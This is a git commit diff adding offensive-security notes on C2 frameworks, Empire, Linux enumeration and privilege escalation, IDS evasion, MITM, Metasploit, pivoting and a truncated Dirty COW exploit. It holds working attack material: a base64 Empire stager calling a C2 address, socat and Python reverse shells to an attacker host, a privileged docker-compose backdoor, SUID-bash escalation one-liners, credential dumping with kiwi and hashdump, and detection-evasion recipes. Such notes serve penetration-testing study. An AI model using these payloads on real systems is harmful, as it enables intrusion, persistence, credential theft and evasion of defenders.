restructured Post Exploitation
This commit is contained in:
parent
f9b6a83e17
commit
fa490c8562
|
@ -0,0 +1,45 @@
|
|||
# Command and Control
|
||||
|
||||
* [Matrix](https://www.thec2matrix.com/)
|
||||
* [bcsecurity](https://www.bc-security.org/) maintains Empire 4
|
||||
* [Empire](https://github.com/BC-SECURITY/Empire.git)
|
||||
* [Armitage](https://gitlab.com/kalilinux/packages/armitage.git)
|
||||
* [Covenant](https://github.com/cobbr/Covenant)
|
||||
* [Sliver](https://github.com/BishopFox/sliver)
|
||||
|
||||
* Server
|
||||
* Listener
|
||||
* Payloads/Agents
|
||||
* Staged/Dropper
|
||||
* Stageless
|
||||
* Beacons from Agents, disguised through jitter
|
||||
* Modules
|
||||
* Post Exploitation
|
||||
* Pivoting
|
||||
|
||||
## Domain Fronting
|
||||
|
||||
* Use a Domain on the C2 server
|
||||
* User Cloudflare to proxy the request and responses to and from the target
|
||||
* Use HTTPs for channel encryption
|
||||
|
||||
## Profiles
|
||||
|
||||
* Server evaluates by custom user-agents to identify agents
|
||||
|
||||
## Types
|
||||
|
||||
* Std listener, TCP or UDP
|
||||
* HTTP/HTTPS, counter FW
|
||||
* DNS, if internet access of the target is flaky
|
||||
* SMB, counter network segments
|
||||
|
||||
## Redirector
|
||||
|
||||
* Apache or nginx as reverse proxy in front of the c2 server
|
||||
* FW is still needed in front of the redirector
|
||||
* These get burned instead of the c2
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,82 @@
|
|||
# Empire C2
|
||||
|
||||
* [Empire Repo](https://github.com/BC-SECURITY/Empire.git)
|
||||
|
||||
## Start Client and Server
|
||||
```sh
|
||||
poetry run python empire --server --rest --notifications
|
||||
poetry run python empire.py client
|
||||
```
|
||||
|
||||
## Parts
|
||||
* __Listeners__ receive connections from stagers
|
||||
* __Stagers__ payloads generated, for example a reverse, delivery mechanism for agents
|
||||
* __Agents__ remote on target device tasks
|
||||
* __Modules__ use modularized payload on agents
|
||||
* __Credentials__
|
||||
* __Report__ information on devices
|
||||
|
||||
* Results are stored in a DB
|
||||
|
||||
## Commands
|
||||
### uselistener
|
||||
* Example
|
||||
```sh
|
||||
uselistener http
|
||||
```
|
||||
* msf like commands, run listener
|
||||
```sh
|
||||
set <option> <value>
|
||||
options
|
||||
execute
|
||||
```
|
||||
* go back to main menu
|
||||
```sh
|
||||
back
|
||||
main
|
||||
```
|
||||
* Check `listeners`
|
||||
* `kill <listener>`
|
||||
|
||||
### usestager
|
||||
```sh
|
||||
usestager multi/launcher
|
||||
usestager multi/bash
|
||||
```
|
||||
* Set the listener created under `uselistener`
|
||||
```sh
|
||||
set Listener <Listener>
|
||||
```
|
||||
* `execute`, output is for example:
|
||||
```sh
|
||||
echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCm91dCwgZXJyID0gcHMuY29tbXVuaWNhdGUoKQppZiByZS5zZWFyY2goIkxpdHRsZSBTbml0Y2giLCBvdXQuZGVjb2RlKCdVVEYtOCcpKToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliLnJlcXVlc3Q7ClVBPSdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0OyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbyc7c2VydmVyPSdodHRwOi8vMTAuNTAuMTg0LjQ5OjgwMDAnO3Q9Jy9uZXdzLnBocCc7cmVxPXVybGxpYi5yZXF1ZXN0LlJlcXVlc3Qoc2VydmVyK3QpOwpwcm94eSA9IHVybGxpYi5yZXF1ZXN0LlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliLnJlcXVlc3QuYnVpbGRfb3BlbmVyKHByb3h5KTsKby5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKSwgKCJDb29raWUiLCAic2Vzc2lvbj16bWNwNFJXb3d1MU9majBEa0dQVkZaK0RKTUE9IildOwp1cmxsaWIucmVxdWVzdC5pbnN0YWxsX29wZW5lcihvKTsKYT11cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJ0NqT2cyUzpvbSp5PSg0YVs5LkBaVzNEP2ROTEdlez5CJy5lbmNvZGUoJ1VURi04Jyk7UyxqLG91dD1saXN0KHJhbmdlKDI1NikpLDAsW10KZm9yIGkgaW4gbGlzdChyYW5nZSgyNTYpKToKICAgIGo9KGorU1tpXStrZXlbaSVsZW4oa2V5KV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQppPWo9MApmb3IgY2hhciBpbiBkYXRhOgogICAgaT0oaSsxKSUyNTYKICAgIGo9KGorU1tpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCiAgICBvdXQuYXBwZW5kKGNocihjaGFyXlNbKFNbaV0rU1tqXSklMjU2XSkpCmV4ZWMoJycuam9pbihvdXQpKQ=='));" | python3 &
|
||||
```
|
||||
* run this on the target
|
||||
|
||||
### agents
|
||||
* `agents` checks the deployed agents
|
||||
* `interact <AgentName>`
|
||||
* `help` in interaction context
|
||||
* `kill <AgentName>`
|
||||
|
||||
## Create Hop Listener
|
||||
```sh
|
||||
uselistener http_hop
|
||||
```
|
||||
```sh
|
||||
set RedirectListener <ExistingListenerName>
|
||||
```
|
||||
```sh
|
||||
set Host <IPofRelay>
|
||||
```sh
|
||||
set Port <PortonRelay>
|
||||
```
|
||||
* `execute` and check files under `/tmp/http_hop/news.php`, `/tmp/http_hop/admin/get.php`, `/tmp/http_hop/login/process.php`
|
||||
|
||||
* `usestager multi/handler`
|
||||
* `set Listener http_hop`
|
||||
* on Relay: `php -S 0.0.0.0:PORT &>/dev/null &`
|
||||
|
||||
* usemodule powershell/privesc/sherlock on agent for example
|
||||
|
||||
### Interactive shell
|
|
@ -0,0 +1,106 @@
|
|||
# Linux Enumeration
|
||||
|
||||
## First Checks
|
||||
|
||||
```sh
|
||||
cat /etc/*-release
|
||||
cat /proc/version
|
||||
```
|
||||
|
||||
```sh
|
||||
hostname or cat /etc/hostname
|
||||
cat /etc/hosts
|
||||
```
|
||||
|
||||
```sh
|
||||
cat /etc/resolve.conf
|
||||
cat /etc/systemd/resolved.conf
|
||||
uname -a
|
||||
cat /etc/issue
|
||||
ps wuax or ps ajxf or ps -A
|
||||
printenv or env
|
||||
cat /etc/timezone or timedatectl
|
||||
```
|
||||
|
||||
## Users
|
||||
|
||||
```sh
|
||||
sudo -l
|
||||
id
|
||||
whoami
|
||||
groups and getent group or cat /etc/group
|
||||
cat /etc/passwd | column -t -s :
|
||||
cat /etc/shadow
|
||||
cat /etc/group
|
||||
cat /etc/sudoers
|
||||
history
|
||||
cat /var/mail
|
||||
```
|
||||
|
||||
|
||||
## Network Info
|
||||
|
||||
* The output of information will be different, depending on permissions of the user
|
||||
```sh
|
||||
ip a or ifconfig
|
||||
ip route
|
||||
cat /etc/network/interfaces
|
||||
netstat -natup or ss -natup
|
||||
netstat -tupln or ss -tulpn
|
||||
netstat -s and netstat -i
|
||||
lsof -i :<port>
|
||||
```
|
||||
|
||||
## Login Info
|
||||
|
||||
```sh
|
||||
last -f /var/log/wtmp
|
||||
last -f /var/log/btmp
|
||||
last
|
||||
w
|
||||
who
|
||||
```
|
||||
|
||||
## Syslog
|
||||
|
||||
```sh
|
||||
journalctl -xe
|
||||
less /var/log/syslog
|
||||
```
|
||||
|
||||
## Auth Logs
|
||||
|
||||
```sh
|
||||
cat /var/log/auth.log | less
|
||||
cat /var/log/access.log | less
|
||||
```
|
||||
|
||||
## Find Files
|
||||
|
||||
* Find SUID permissions on files and dirs
|
||||
* `find / -perm /6000 -ls 2>/dev/null`
|
||||
|
||||
* Find writeables dirs
|
||||
* `find / -writable -type d 2>/dev/null` or `find / -perm -o w -type d 2>/dev/null`
|
||||
* `find / -perm -o x -type d 2>/dev/null`
|
||||
|
||||
* Find writeable subdirs
|
||||
`find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u`
|
||||
|
||||
* `cat ~/.viminfo`
|
||||
|
||||
## Services
|
||||
|
||||
```sh
|
||||
ls -al /etc/systemd/system && ls -la /var/lib/systemd/system || ls -la /etc/init.d
|
||||
```
|
||||
|
||||
```sh
|
||||
cat /etc/crontab
|
||||
crontab -l
|
||||
cat /etc/bash.bashrc ; cat /etc/profile
|
||||
```
|
||||
|
||||
## Packet Managers
|
||||
|
||||
* pacman, apt, dpkg, dnf etc.
|
|
@ -0,0 +1,114 @@
|
|||
# IDS & IPS Evation
|
||||
|
||||
* Evation by manipulation of
|
||||
* Tool parameters
|
||||
* Protocol
|
||||
* Payload
|
||||
* Route
|
||||
* Or DoS
|
||||
|
||||
## Enumeration
|
||||
|
||||
* [User-Agents](https://developers.whatismybrowser.com/useragents/explore/)
|
||||
|
||||
### nmap
|
||||
* `--script-args http.useragent="<user-agent>"`
|
||||
* `-Ss` half open
|
||||
|
||||
### nikto
|
||||
|
||||
* `-useragent <user-agent>`
|
||||
* Tuning `-T 1 2 3`
|
||||
* __NOT__`-evasion <encoding-technique>`, it increases detection
|
||||
|
||||
## Protocol Manipulation
|
||||
|
||||
### Relying on another protocol
|
||||
* `nc -ulvnp 4711` for listening to incoming UDP traffic
|
||||
* `nc -u $TARGET_IP $TARGET_PORT` for connecting through UDP
|
||||
|
||||
### Manipulation of the source's or LHOST's network port
|
||||
* `nmap -g 80` or `nmap --source-port 53` to send outgoing nmap traffic through it
|
||||
|
||||
### Session splicing by fragmentation and segmentation
|
||||
* `nmap` fragmentation in 8 bytes `-f`, 16 bytes `-ff`, `--mtu <size>` for MTU
|
||||
* Use [Fragroute](https://www.monkey.org/~dugsong/fragroute/) with `ip_frag <num>` in `fragroute.conf`, then use `fragroute -f fragroute.conf $TARGET_IP`
|
||||
|
||||
### Sending invalid packets
|
||||
* Invalid protocol header flags and checksums via`nmap --badsum`, `nmap --scanflags URG/ACK/PSH/RST/SYN/FIN`, e.g. concatentation of multiple flags `nmap --scanflags SYNRSTFIN`
|
||||
* `hping3` including `--ttl`, `--badsum`, header flags `-S`,`-A`,`-P`,`-U`,`-F`,`-R`
|
||||
|
||||
## Payload Manipulation
|
||||
|
||||
### Obfuscation and Encoding
|
||||
* Base64
|
||||
* URL
|
||||
* Escaped Unicode Characters
|
||||
|
||||
### Encrypting Communication Channels
|
||||
* Use socat with encryption
|
||||
```sh
|
||||
openssl req -x509 -newkey rsa:2048 -days 356 -subj '/CN=www.example.com/O=YO/C=FR' -nodes -keyout id_rsa.key -out reverse.crt
|
||||
```
|
||||
* Create `.pem` (Privacy Enhanced Mail) file via
|
||||
```
|
||||
cat id_rsa.key reverse.crt > reverse.pem
|
||||
```
|
||||
* Listening on attacker side
|
||||
```sh
|
||||
socat -d -d OPENSSL-LISTEN:4711,cert=reverse.pem,verify=0,fork STDOUT
|
||||
```
|
||||
* On target
|
||||
```sh
|
||||
socat OPENSSL:$ATTACKER_IP:4711,verify=0 EXEC:/bin/bash
|
||||
```
|
||||
|
||||
### Modification of Data
|
||||
* Order of parameters, instead of `nc -lvnp` it is `nc -vpnl`
|
||||
* Adding whitespaces to the commands
|
||||
* Use aliases
|
||||
|
||||
## Route Manipulation
|
||||
|
||||
### Relying on Source Routing
|
||||
* `nmap --ip-options "L 10.10.20.30 10.10.30.40` routes through these IPs loosely
|
||||
* `nmap --ip-options "S 10.10.20.30 10.10.30.40"` routes through the IPs strictly
|
||||
|
||||
### Using Proxyy Servers
|
||||
* `nmap -sS http://$PROXY1:80,socks4://$PROXY:8080 $TARGET_IP`
|
||||
|
||||
## Tactical DoS
|
||||
* Non malicious, benign traffic against
|
||||
* IDS/IPS
|
||||
* Logging server
|
||||
|
||||
## MISC
|
||||
|
||||
* Changing
|
||||
* `User-Agent`
|
||||
* Request frequency and duration of sleep
|
||||
* SSL/TLS certs
|
||||
* DNS beacon, storing exfiltrated data in the query
|
||||
|
||||
## Backdoors
|
||||
|
||||
* Backdooring without getting recognized by the IDS/IPS by reading its rules in the config file
|
||||
|
||||
### Docker
|
||||
|
||||
* Create a `docker-compose.yaml` file with a reverse shell as an entry point, mount the host volume to `/mnt` inside the container
|
||||
```yaml
|
||||
---
|
||||
version: "2.1"
|
||||
services:
|
||||
backdoorservice:
|
||||
restart: always
|
||||
image: <Found image>
|
||||
entrypoint: >
|
||||
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
|
||||
s.connect(("<$ATTACKER_IP>",4711));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
|
||||
pty.spawn("/bin/sh")'
|
||||
volumes:
|
||||
- /:/mnt
|
||||
privileged: true
|
||||
```
|
|
@ -0,0 +1,81 @@
|
|||
# Linux Privilege Escalation
|
||||
|
||||
## Links
|
||||
* [Basics](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
|
||||
* [LinEnum](https://github.com/rebootuser/LinEnum)
|
||||
* [Smart Enumeration](https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh)
|
||||
* [Linux Exploit Suggester](https://github.com/mzet-/linux-exploit-suggester)
|
||||
* [GTFObins](https://gtfobins.github.io/)
|
||||
* [Linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
## Kernel Exploits
|
||||
|
||||
### Dirty COW
|
||||
* [CVE-2016-5195](https://dirtycow.ninja/)
|
||||
* [c0w.c](../kernel-exploits/dirtycow)
|
||||
|
||||
## Stored Keys & Passwords
|
||||
* History
|
||||
* Environment Variables
|
||||
* Config + Dot Files
|
||||
* SSH keys
|
||||
```sh
|
||||
find / -type f -name "authorized_keys" -o -name "id_rsa" 2>/dev/null
|
||||
```
|
||||
|
||||
## Permissions
|
||||
* Weak permissions
|
||||
* Umask
|
||||
* Unshadow via `unshadow /etc/passd /etc/shadow > unshadow.txt` and john or hashcat.
|
||||
* e.g. `john --wordlist=./wordlist --format=crypt hash`
|
||||
* SUID
|
||||
* list
|
||||
```sh
|
||||
find / -perm /6000 -ls 2>dev/null
|
||||
```
|
||||
* [Shared object injection](../../../exploit/linux/shared_object_injection.md)
|
||||
* [CVE-2016-1247](https://www.cvedetails.com/cve/CVE-2016-1247/)
|
||||
* User specific files
|
||||
```sh
|
||||
find / -user root -name "*.txt"
|
||||
```
|
||||
|
||||
## Sudo Binary
|
||||
* [Baron Samedit](../../../exploit/linux/sudo/baron_samedit.md)
|
||||
* [CVE-2019-14287](../../../exploit/linux/sudo/CVE_2019_14287.md)
|
||||
* [CVE-2019-18634](../../../exploit/linux/sudo/CVE_2019_18634.md)
|
||||
* [LD_PRELOAD](../../../exploit/linux/ld_preload.md)
|
||||
* `sudo -l`
|
||||
* Take a look at GTFObins
|
||||
* Keep an eye on the displayed host and env capabilities
|
||||
|
||||
## PATH Hijacking
|
||||
* Interpositioning binaries via PATH
|
||||
* Look for binaries used in other bins and scripts
|
||||
* Interposition name and add the directory in front of `$PATH`
|
||||
|
||||
## Bash function
|
||||
* Interpositioning of binaries via bash functions
|
||||
```sh
|
||||
function /path/to/binary() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||||
```
|
||||
```sh
|
||||
export -f /path/to/binary
|
||||
```
|
||||
* Call binary which invokes this function
|
||||
|
||||
## Environment Variable
|
||||
```sh
|
||||
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '<binary>; set +x; /tmp/bash -p'
|
||||
```
|
||||
|
||||
## Capabilities
|
||||
* [capabilities](../../../exploit/linux/capabilities.md)
|
||||
|
||||
## Crontab
|
||||
* Check `cat /etc/crontab`
|
||||
* Check writable scripts and binaries that are scheduled
|
||||
* Check `$PATH` order
|
||||
|
||||
## NFS Rootsquash
|
||||
* [nfs rootsquash](../../../exploit/linux/nfs_rootsquash.md)
|
|
@ -0,0 +1,31 @@
|
|||
# Man In the Middle
|
||||
|
||||
* [Ettercap](https://www.ettercap-project.org/)
|
||||
* [Bettercap](https://www.bettercap.org/)
|
||||
|
||||
* ARP spoofing via ettercap and read traffic. Press q to reverse to pre mitm arp caches
|
||||
```sh
|
||||
ettercap -T -i <interface> -M arp
|
||||
```
|
||||
|
||||
* Etterfilter can filter and restructure packets
|
||||
```sh
|
||||
man etterfilter
|
||||
```
|
||||
```sh
|
||||
if (ip.proto == TCP && tcp.dst == 80 && search(DATA.data, "filename.html") ) {
|
||||
log(DATA.data, "/tmp/ettercap.log");
|
||||
replace("filename.html", "otherfilename.html" );
|
||||
msg("###### ETTERFILTER: substituted 'filename.html' with 'otherfilename.html' ######\n");
|
||||
}
|
||||
```
|
||||
* Escape double quote inside the payload string
|
||||
* compile via
|
||||
```sh
|
||||
etterfilter filter.ef -o filter.ef
|
||||
```
|
||||
|
||||
* Run the filter via
|
||||
```sh
|
||||
ettercap -T -i <interface> -M arp -F filter.ef
|
||||
```
|
|
@ -0,0 +1,90 @@
|
|||
# Metasploit
|
||||
* `-j` Run job in background
|
||||
* `sessions -i 1` interactive session 1
|
||||
|
||||
## Meterpreter
|
||||
|
||||
* [CheatSheet](https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/)
|
||||
* Upgrade shell
|
||||
```sh
|
||||
post/multi/manage/shell_to_meterpreter
|
||||
```
|
||||
* `execute` command
|
||||
* `search` files
|
||||
* `download` and `upload` files
|
||||
|
||||
# Metasploit after gaining foothold
|
||||
|
||||
* Meterpreter shell is opened on target. Run exploit suggester
|
||||
```sh
|
||||
run post/multi/recon/local_exploit_suggester
|
||||
```
|
||||
* Decide on your exploit and `background` the meterpreter.
|
||||
* Use the exploit.
|
||||
```sh
|
||||
use <path/to/exploit>
|
||||
```
|
||||
* Fill options like `session` and run the exploit
|
||||
|
||||
### Privilege Escalation on Windows Using Metasploit
|
||||
* Find process with higher privs and migrate to it. Example `spoolsv.exe`.
|
||||
```sh
|
||||
migrate -N spoolsv.exe
|
||||
```
|
||||
* After `NT AUTHORITY\SYSTEM` is gained start mimikatz. and dump all creds
|
||||
```sh
|
||||
load kiwi
|
||||
help
|
||||
creds_all
|
||||
```
|
||||
* Enable RDP via `run post/windows/manage/enable_rdp`
|
||||
|
||||
### Hashdump on Windows
|
||||
* Meterpreter
|
||||
```sh
|
||||
run post/windows/gather/hashdump
|
||||
```
|
||||
```sh
|
||||
load kiwi
|
||||
lsa_dump_sam
|
||||
```
|
||||
|
||||
### Webdelivery
|
||||
```sh
|
||||
use exploit/multi/script/web_delivery
|
||||
show targets
|
||||
set LPORT <attacker-Port>
|
||||
set PAYLOAD windows/meterpreter/reverse_http
|
||||
run -j
|
||||
```
|
||||
* Copy into powershell/cmd
|
||||
|
||||
|
||||
## Reverse Proxy
|
||||
|
||||
* Hide behind reverse proxy, e.g. apache
|
||||
* In case of an apache, these modules must be enabled
|
||||
* rewrite
|
||||
* proxy
|
||||
* proxy_http
|
||||
* headers
|
||||
* Use `User-Agent` to identify targets
|
||||
```ucl
|
||||
<VirtualHost *:80>
|
||||
|
||||
ServerAdmin webmaster@localhost
|
||||
DocumentRoot /var/www/html
|
||||
|
||||
RewriteEngine On
|
||||
RewriteCond %{HTTP_USER_AGENT} "^User-Agent$"
|
||||
ProxyPass "/" "http://localhost:8080/"
|
||||
|
||||
<Directory>
|
||||
AllowOverride All
|
||||
</Directory>
|
||||
|
||||
ErrorLog ${APACHE_LOG_DIR}/error.log
|
||||
CustomLog ${APACHE_LOG_DIR}/access.log combined
|
||||
|
||||
</VirtualHost>
|
||||
```
|
|
@ -0,0 +1,13 @@
|
|||
# NFS NO ROOT SQUASH
|
||||
|
||||
* Mount nfs locally and gain root
|
||||
|
||||
|
||||
## Craft a Shell
|
||||
```sh
|
||||
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
|
||||
```
|
||||
* Copy to target and use it
|
||||
```sh
|
||||
./shell.elf -p
|
||||
```
|
|
@ -0,0 +1,230 @@
|
|||
# Pivoting
|
||||
|
||||
* Tunnelling/Proxying
|
||||
* Port Forwarding
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Using material found on the machine and preinstalled tools
|
||||
|
||||
* `arp -a`
|
||||
* `/etc/hosts` or `C:\Windows\System32\drivers\etc\hosts`
|
||||
* `/etc/resolv.conf`
|
||||
* `ipconfig /all`
|
||||
* `nmcli dev show`
|
||||
* [Statically compiled tools](https://github.com/andrew-d/static-binaries.git)
|
||||
|
||||
### Scripting Techniques
|
||||
```sh
|
||||
for i in {1..255}; do (ping -c 1 192.168.0.${1} | grep "bytes from" &); done
|
||||
for i in {1..65535}; do (echo > /dev/tcp/192.168.0.1/$i) >/dev/null 2>&1 && echo $i is open; done
|
||||
```
|
||||
* Using local tools through a proxy like `nmap`
|
||||
|
||||
## Tools
|
||||
|
||||
* Enumerating a network using native and statically compiled tools
|
||||
|
||||
### Proxychains / FoxyProxy
|
||||
|
||||
* In need of dynamic port forwarding execute a reverse proxy on the jumpserver to reach the attacker's proxychains
|
||||
```sh
|
||||
ssh <username>@$ATTACKER_IP -R 9050 -N
|
||||
```
|
||||
* Proxychains, e.g. scan target via nmap, or connect via nc through jump server
|
||||
```sh
|
||||
proxychains nc <IP> <PORT>
|
||||
proychains nmap <IP>
|
||||
proxychains ssh user@$TARGET_IP
|
||||
proxychains evil-winrm -i $TARGET_IP -u $USER -p $PASS
|
||||
proxychains wget http://$TARGET_IP:8000/loot.zip
|
||||
```
|
||||
* Use `/etc/proxychains.conf` or `./proxychains.conf`containing:
|
||||
```sh
|
||||
[ProxyList]
|
||||
# add proxy here ...
|
||||
# meanwhile
|
||||
# defaults set to "tor"
|
||||
socks4 127.0.0.1 9050
|
||||
#socks5 127.0.0.1 1337
|
||||
# proxy_dns
|
||||
```
|
||||
* FoxyProxy, choose proxy type, proxy IP and port in settings
|
||||
|
||||
### SSH port forwarding and tunnelling (primarily Unix)
|
||||
|
||||
* LocalPortForwarding
|
||||
```sh
|
||||
ssh -L $LOCAL_PORT:<IP_seen_from_Jumpserver>:<Port_seen_from_Jumpserver> <user>@<Jumpserver> -fN
|
||||
```
|
||||
* Another possibility to use the jumpserver directly on it's cli via `ssh <username>@<jumpserver> -L *:$LOCAL_PORT:127.0.0.1:80 -N`. One can connect now to the target via the jumpserver
|
||||
* Tip: open port on windows target via
|
||||
```sh
|
||||
netsh advfirewall firewall add rule name="new port" dir=in action=allow protocol=TCP localport=%PORT%
|
||||
```
|
||||
|
||||
* Dynamic Port Forwarding
|
||||
```sh
|
||||
ssh -D $PORT <user>@<Jumpserver> -fN
|
||||
```
|
||||
|
||||
* Reverse Proxy, if there is an SSH client on the jumpserver but no SSH server via
|
||||
```sh
|
||||
ssh -R $LOCAL_PORT:$TARGET_IP:$TARGET_PORT USERNAME@$ATTACKER_IP(local) -i $KEYFILE -fN
|
||||
```
|
||||
* Tip1: create a user on the attacker to receive the connection without compromising your own password
|
||||
* Tip2: use `-N` to not receive an interactive shell. The attacking user does not necessarily have one on the target
|
||||
|
||||
### plink.exe (Windows)
|
||||
|
||||
* [latest version](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html)
|
||||
```sh
|
||||
cmd.exe /c echo y | .\plink.exe -R <LocalPort>:<TargetIP>:<TargetPort> <user>@<Jumpserver> -i <key> -N
|
||||
```
|
||||
* Key generation
|
||||
```sh
|
||||
puttygen <keyfile> -o key.ppk
|
||||
```
|
||||
* Circumvention, described by [U.Y.](https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d)
|
||||
```sh
|
||||
echo y | &.\plink.exe -ssh -l <MYUSERNAME> -pw <MYPASSWORD> -R <MYIP>:<MYPORT>:127.0.0.1:<TARGETPORT> <MYIP>
|
||||
```
|
||||
|
||||
### Socat
|
||||
|
||||
* Reverse shell on target via
|
||||
```sh
|
||||
./socat tcp-l:8000 tcp:<attacker-IP>:443 &
|
||||
```
|
||||
* Attacking bind shell
|
||||
```sh
|
||||
sudo nc -lvnp 443
|
||||
```
|
||||
|
||||
* Relay on jumpserver via
|
||||
```sh
|
||||
./socat tcp-l:33060,fork,reuseaddr tcp:<TargetIP>:3306 &
|
||||
```
|
||||
|
||||
* Quiet Port Forwarding
|
||||
* On attacker
|
||||
```sh
|
||||
socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &
|
||||
```
|
||||
* On relay server
|
||||
```sh
|
||||
./socat tcp:<attacker-IP>:8001 tcp:<TargetIP>:<TargetPort>,fork &
|
||||
```
|
||||
* Open `localhost:8000`
|
||||
|
||||
* Processes are backgrounded via `&`. Therefore, the process can be quit by using the corresponding bg number like `kill %1`.
|
||||
|
||||
* In need of a Download on target, expose a port on the attacker via relay
|
||||
```sh
|
||||
socat tcp-l:80,fork tcp:$ATTACKER_IP:80
|
||||
```
|
||||
|
||||
### Chisel
|
||||
|
||||
* **Does not require SSH on target**
|
||||
* Reverse Proxy
|
||||
* Bind port on attacker
|
||||
```sh
|
||||
./chisel server -p <ListeningPort> --reverse &
|
||||
```
|
||||
* Reverse port on target/proxy
|
||||
```sh
|
||||
./chisel client <attacker-IP>:<attacker-Port> R:socks &
|
||||
```
|
||||
* `proxychains.conf` contains
|
||||
```sh
|
||||
[ProxyList]
|
||||
socks5 127.0.0.1 <Listening-Port>
|
||||
```
|
||||
|
||||
* Forward SOCKS Proxy
|
||||
* Proxy/compromised machine
|
||||
```sh
|
||||
./chisel server -p <Listen-Port> --socks5
|
||||
```
|
||||
* On attacker
|
||||
```sh
|
||||
./chisel client <target-IP>:<target-Port> <proxy-Port>:socks
|
||||
```
|
||||
* Remote Port Forward
|
||||
* On attacker
|
||||
```sh
|
||||
./chisel server -p <Listen-Port> --reverse &
|
||||
```
|
||||
* On forwarder
|
||||
```sh
|
||||
./chisel client <attacker-IP>:<attackerListen-Port> R:<Forwarder-Port>:<target-IP>:<target-Port> &
|
||||
```
|
||||
* Local Port Forwarding
|
||||
* On proxy
|
||||
```sh
|
||||
./chisel server -p <Listen-Port>
|
||||
```
|
||||
* On attacker
|
||||
```sh
|
||||
./chisel client <Listen-IP>:<Listen-Port> <attacker-IP>:<target-IP>:<target-Port>
|
||||
```
|
||||
|
||||
### sshuttle
|
||||
|
||||
* `pip install sshuttle`
|
||||
* `sshuttle -r <user>@<target> <subnet/CIDR>`
|
||||
* or automatically determined
|
||||
```sh
|
||||
sshuttle -r <user>@<target> -N
|
||||
```
|
||||
* Key based auth
|
||||
```sh
|
||||
sshuttle -r <user>@<target> --ssh-cmd "ssh -i <key>" <subnet/CIDR>
|
||||
```
|
||||
* Exclude servers via `-x`, for example the target/gateway server
|
||||
|
||||
### Meterpreter
|
||||
|
||||
* Meterpreter with payload `set payload linux/x64/meterpreter_reverse_tcp` after successful connection do
|
||||
```sh
|
||||
portfwd add -l 22 -p 22 -r 127.0.0.1
|
||||
```
|
||||
|
||||
#### Meterpreter add Subnet Route
|
||||
|
||||
```sh
|
||||
run get_local_subnets
|
||||
background
|
||||
route add 10.1.1.0 255.255.255.0 1
|
||||
route print
|
||||
```
|
||||
* Or use `load auto_add_route` from [rapid7's documentation](https://www.rapid7.com/blog/post/2010/02/09/automatically-routing-through-new-subnets/)
|
||||
|
||||
#### Meterpreter Auto Routing
|
||||
|
||||
* Upload payload and catch it with `multi/handler`
|
||||
```
|
||||
background
|
||||
use post/multi/manage/autoroute
|
||||
set session 1
|
||||
set subnet <10.0.0.0>
|
||||
run
|
||||
```
|
||||
|
||||
#### Meterpreter Proxy Routing
|
||||
|
||||
* Specify socks proxy via
|
||||
```sh
|
||||
use auxiliary/server/socks_proxy
|
||||
```
|
||||
* Set proxychain on attacker accordingly
|
||||
|
||||
### rpivot
|
||||
|
||||
* [klsecservices' repo](https://github.com/klsecservices/rpivot.git)
|
||||
* [Their windows binary release](https://github.com/klsecservices/rpivot/releases/tag/v1.0)
|
||||
|
||||
## Links
|
||||
|
||||
* [Shadowmove at the adepts of 0xcc](https://adepts.of0x.cc/shadowmove-hijack-socket/)
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,131 @@
|
|||
/*
|
||||
* A PTRACE_POKEDATA variant of CVE-2016-5195
|
||||
* should work on RHEL 5 & 6
|
||||
*
|
||||
* (un)comment correct payload (x86 or x64)!
|
||||
* $ gcc -pthread c0w.c -o c0w
|
||||
* $ ./c0w
|
||||
* DirtyCow root privilege escalation
|
||||
* Backing up /usr/bin/passwd.. to /tmp/bak
|
||||
* mmap fa65a000
|
||||
* madvise 0
|
||||
* ptrace 0
|
||||
* $ /usr/bin/passwd
|
||||
* [root@server foo]# whoami
|
||||
* root
|
||||
* [root@server foo]# id
|
||||
* uid=0(root) gid=501(foo) groups=501(foo)
|
||||
* @KrE80r
|
||||
*/
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int f;
|
||||
void *map;
|
||||
pid_t pid;
|
||||
pthread_t pth;
|
